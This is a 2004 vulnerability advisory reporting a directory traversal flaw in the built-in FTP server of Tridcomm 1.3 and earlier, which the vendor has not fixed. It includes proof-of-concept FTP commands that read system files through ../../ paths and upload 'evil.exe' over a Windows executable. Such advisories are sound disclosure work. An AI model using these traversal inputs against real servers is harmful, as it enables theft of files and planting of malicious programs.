
#######################################################################

Luigi Auriemma

Application:  Tridcomm
              http://www.tridcomm.com
Versions:     <= 1.3
Platforms:    Windows
Bug:          directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date:         06 October 2004
Author:       Luigi Auriemma
              e-mail: aluigi (at) altervista (dot) org [email concealed]
              web:    http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.

#######################################################################

======
2) Bug
======

The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.

#######################################################################

===========
3) The Code
===========

dir ../../
dir /

get
  ../../windows/win.ini
  win.ini

put
  evil.exe
  ../../windows/calc.exe

(the same examples can be used with the backslash too)

#######################################################################

======
4) Fix
======

No fix.
No reply from the author.

#######################################################################

--- 
Luigi Auriemma
http://aluigi.altervista.org